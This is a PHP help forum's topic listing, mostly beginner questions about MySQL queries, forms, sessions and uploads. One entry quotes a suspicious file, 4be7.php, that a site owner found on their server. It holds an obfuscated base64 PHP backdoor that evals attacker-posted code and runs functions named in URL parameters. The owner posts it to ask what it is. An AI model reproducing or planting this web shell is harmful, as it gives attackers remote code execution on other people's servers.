39,326 Topics
| |
I am using a page where rows get fetched from database... now what i want to do is open a new link for each row... you will understand it when you see the screenshot....i have attached it.... I want to somehow redirect the link to other page with the value … | |
[ICODE]Help me please. I want to display specific data from the database. i dont know what is the code. For example: in the database of reservation. I want to display only the name, address, contact number, company, and the details of his/her reservation. please help me guys. thanks a lot. … | |
Hi, I am designing a E-commerce site. I have designed a way for the customers to view their previous orders, but for some reason there is a problem. The codes that you see below work but the while loop keeps stopping at 2 items when there should be more. Can … | |
Hello, I have this multiple checklist and I cannot figure out how to enter the checked values into the database. The table is called "colors" and the column name is "color" and is of type "text". add_color.php [CODE] <?php // connect to database require "mysql_connect.php"; ?> <?php // get value … | |
Hai, I downloaded and install sugar crm in my localhost.Inside the folder there is soap.php. when i run the file, all functions and wsdl file there. I want to create on soap client and access the WSDL url using my localhost. this is WSDL file URL( http:/localhost/scrm/soap.php?wsdl ) I want … | |
I'm totally new with ajax and js... and I know this is possible. I've created a php table page... I would like to see the page refresh everytime I insert new data to my sql database. I know I can do this using header refresh on the php page itself.. … | |
I found a file called 4be7.php in the root of my web site. I guess my first worry is how did it get there? Well, I've changed my FTP log on, what else can I do? Secondly, what is it? Here's what's in it: [CODE]<?php //176e622a9e272282a4a56a9100f5b75d $_= //ppZiAAS8dDJF9Q*(#_+@#TWyJ 'Ci8qKgogKiBAdmVyc2lvbiAyLjYKICoKICovCmlmIChpc3NldCgkX1BPU1RbImFjdGlvbiJdKSkKewogICAgICAgIHN3aXRjaCAoJF9QT1NUWyJhY3Rpb24iXSkKICAgICAgICB7CiAgICAgICAgICAgICAgICBjYXNlICJ0ZXN0IjoKICAgICAgICAgICAgICAgICAgICAgICAgdGVzdCgpOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgInJlZ3VsYXJfdGVzdCI6CiAgICAgICAgICAgICAgICAgICAgICAgIHJlZ3VsYXJfdGVzdCgpOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgIm1haWwiOgogICAgICAgICAgICAgICAgICAgICAgICBzZW5kKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQogICAgICAgIHJldHVybjsKfQoKaWYgKGNvdW50KCRfR0VUKSA+IDApCnsKICAgICAgICBmb3JlYWNoICgkX0dFVCBhcyAkaWQgPT4gJGNvZGUpCiAgICAgICAgewogICAgICAgICAgICAgICAgaWYgKCRpZCA9PSAiaWQiKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAkY29kZSgpOwogICAgICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm47Cn0KCmZ1bmN0aW9uIHRlc3QoKQp7CiAgICAgICAgJGVuY29kZWRfZGF0YSA9ICIiOwoKICAgICAgICAkZGF0YVsidmVyc2lvbiJdID0gcGhwdmVyc2lvbigpOwogICAgICAgIGlmIChpc3NldCgkX1NFUlZFUlsiU0VSVkVSX1NPRlRXQVJFIl0pKQogICAgICAgIHsKICAgICAgICAgICAgICAgICRkYXRhWyJzZXJ2ZXJhcGkiXSA9ICRfU0VSVkVSWyJTRVJWRVJfU09GVFdBUkUiXTsKICAgICAgICB9CiAgICAgICAgZWxzZQogICAgICAgIHsKICAgICAgICAgICAgICAgICRkYXRhWyJzZXJ2ZXJhcGkiXSA9ICJOb3QgQXZhaWxhYmxlIjsKICAgICAgICB9CiAgICAgICAgb2Jfc3RhcnQoKTsKICAgICAgICBwaHBpbmZvKDgpOwogICAgICAgICRkYXRhWyJtb2R1bGVzIl0gPSBvYl9nZXRfY29udGVudHMoKTsKICAgICAgICBvYl9jbGVhbigpOwogICAgICAgICRkYXRhWyJleHRfY29ubmVjdCJdID0gZm9wZW4oImh0dHA6Ly93d3cueWEucnUvIiwgInIiKSA/IFRSVUUgOiBGQUxTRTsKICAgICAgICAkc2VyaWFsaXplc19kYXRhID0gc2VyaWFsaXplKCRkYXRhKTsKICAgICAgICAkZW5jb2RlZF9kYXRhID0gYmFzZTY0X2VuY29kZSgkc2VyaWFsaXplc19kYXRhKTsKICAgICAgICBlY2hvICRfUE9TVFsidGVzdF9tZXNzYWdlIl0gLiAkZW5jb2RlZF9kYXRhOwp9CgpmdW5jdGlvbiByZWd1bGFyX3Rlc3QoKQp7CgogICAgICAgICR0byA9ICJhaXJAZXhhbXBsZS5jb20iOwogICAgICAgICRzdWJqID0gIlNVQkohIjsKICAgICAgICAkbWVzc2FnZSA9ICJFSExPIjsKICAgICAgICAkcmVzID0gbWFpbCgkdG8sJHN1YmosJG1lc3NhZ2UpOwogICAgICAgIGlmKCRyZXMpCiAgICAgICAgewogICAgICAgICAgICBlY2hvICRfUE9TVFsidGVzdF9tZXNzYWdlIl07CiAgICAgICAgfQogICAgICAgIGVsc2UKICAgICAgICB7CiAgICAgICAgICAgIGVjaG8gc3RycmV2KCRfUE9TVFsidGVzdF9tZXNzYWdlIl0pOwogICAgICAgIH0KfQoKZnVuY3Rpb24gc2VuZCgpCnsKICAgICAgICAkY29kZSA9IGJhc2U2NF9kZWNvZGUoJF9QT1NUWyJwcm9qZWN0Y29kZSJdKTsKCiAgICAgICAgZXZhbCgkY29kZSk7CiAgICAgICAgLy9yZXR1cm47Cn0K'; //ppZiAAS8dDJF9Q*(#_+@#TWyJ … | |
Hi friends, I have installed event calendar plugin on my [URL="http://www.totalnetworkingandconsulting.com/"]website[/URL] I started facing problem since yesterday. If I deactivate this plugin then I can see all pages fine over my website but if I activate the plugin, then each page is showing blank calendar page. each URL is showing … | |
Hi! Part of my website development is being able to recover a password and upon reading the owasp page i found out that the best one is having a temp password and an expiration my customers table doesnt have a date column nor temp pw column do I have to … | |
i want to monitor, stop and stop a service. but cant get a clue hot to do that. the monitor is ok by using this code: <pre><p></p> <span class="style1"><b>Service asterisk:</b> </span> <?php system("/var/www/html/cam/mysql.sh"); ?></br> </pre> and in the file services.sh service mysql status i have also use: <?php $mysql = … | |
For example, I have a form that passes the username, the year of birth and the password. Is there anyway I can retrieve information from the database(using an SQL query) if the user is an admin and then convert it to a $_SESSION['admin'];? How can I retrieve additional information about … | |
Hi, I have one text box and one submit button.What I want is ,if I enter value in text box and press submit one by one that will echo on the form . | |
Hi We have a competition running that I would like to automate getting the results with PHP from my MYSQL DB. I can run a query on the Database to get the following results Consultant1 20 sales Consultant2 10 sales Consultant3 5 sales Consultant4 1 sales Consultant5 3 sales Consultant6 … | |
I am new to php...I wanna to show a loading image when the page is loading something in php...any help would be appreciated | |
i am a new to php.i am having a trouble that whenever i typed a wrong username in the textfield the field goes blank after its submission...I need the field values there such i need not want to insert the textfield value again.so how can i avoid such problem...i appreciate … | |
I want to make a simple online multiple player cards game using PHP/Ajax. I guess I need socket programming (I want it to be real time). I've worked with sockets before in Java, but not for an online program, just a network game. I searched but I didn't really find … | |
hy all, I have table that here contain a blob type, I wanna make this blob can be downloaded as zip file. I have idea to put it into temporary directory but I don't know how I can print/put that blob data type into temporary directory. Do my idea right? … | |
I am using php to list out categories for a particular item while making blog.But i am listing out all the categories which are present in database in the list.I created a category table in my database.my code is listed as follows: [CODE] <?php include 'connection.php'; $list ="select name from … | |
Hi There! Can you please help me with this. On the first page of my page I created a Textbox named="Student", on the second page I just $_POST its name and the value goes through the textbox and now I wanted to show it Again on the Third box, I … | |
I had a category named movies,gadget.I want to display subcategories of each category in php.movies contain subcategories like new release,upcoming movies,songs and gadget contains subcategories like pc,mobiles.I want to display each category and its subcategories on the same page while clicking on category title.I created databases for each categories.Any help … | |
Hi, I am new to php, and I need to do multiply image upload. Right now I have single image upload which is not working.., so any adive would be appreciated. Here is part of form I use for image upload: [CODE] <i>Vyber obrázek:</i> <input type="file" name="imagefile" /> <br /><br … | |
Note: I'm very new to everything so please bare with me. Say I have a form on a website which asks for your first name, last name, and email address. Upon clicking submit, I want the data to be transferred and saved to a Microsoft Access Database. How do you … | |
I a form page in an iFrame that when a user submits it brings up a thank you page. But when the thank you page loads, because the initial form page is long users don't get to see the thank you message on the thank you page. So what I … | |
hi, another question here. i'm a beginner at php and i need a php script to automatically retrieve data from a database and fill in a form. all the data is in the database and I already have a script to search and return the results. I just don't know … | |
I'm Beginner. I need help, please. I am having a small problem in the script I am have in this script ( admin folder) Add contain articles (This page is working to add threads only) My problem in the Page (read_mor.php) i make a query with the database to bring … | |
hey, please help me sort this data out. Array ( [0] => Successful response for: set username [1] => Successful response for: set password [2] => Successful response for: set server [3] => Successful response for: services [4] => State Notification acquiring-network [5] => Successful response for: sign-in [6] => … | |
Hello, folks. I do have another issue here, haha. My Cancel script is not working, is not returning the tickets back to the database after I cancel them. I got completely wrong here, some help would be really appreciated. [CODE] <?php session_start(); $tickets = ['tickets']; //$tickets = $_SESSION['tickets']; //$id = … | |
Hello everybody - and thanks for fast reply. Well, I have the following need: Once a month I receive a text file with the following content (per line/line content with fixed lenght but different values): 00000035412012013100000000000000000120120131000000000 00000000000000000000000000+0000000002012010000000000200000000000171753-00000000000000000+00000000000000000+00000000000171753-000000000000000000000000000000000000000000+00000000000000000+00000000000000000+00000000000000000+00000000000000000000000LOHN/01 LG 000000000000000000000000000000000000000000000000000+000000000000000000000000000000+000000000000000000000000 0000000000000000000000 0* This is only one line with 480 digits. I … | |
hey there, as part of my application, I build an array of arrays. So, what I have is this: [CODE] $mainArray = array(); $mainArray = $somearray;//as built with results from a query $mainArray = $someOtherArray;//built same as above //I want to iterate: foreach($mainArray as $array) { foreach($array as $dataArray) { … | |
I need to pass close to 100 variables between pages and I'm not sure of the best way to do it. Any suggestions? |
The End.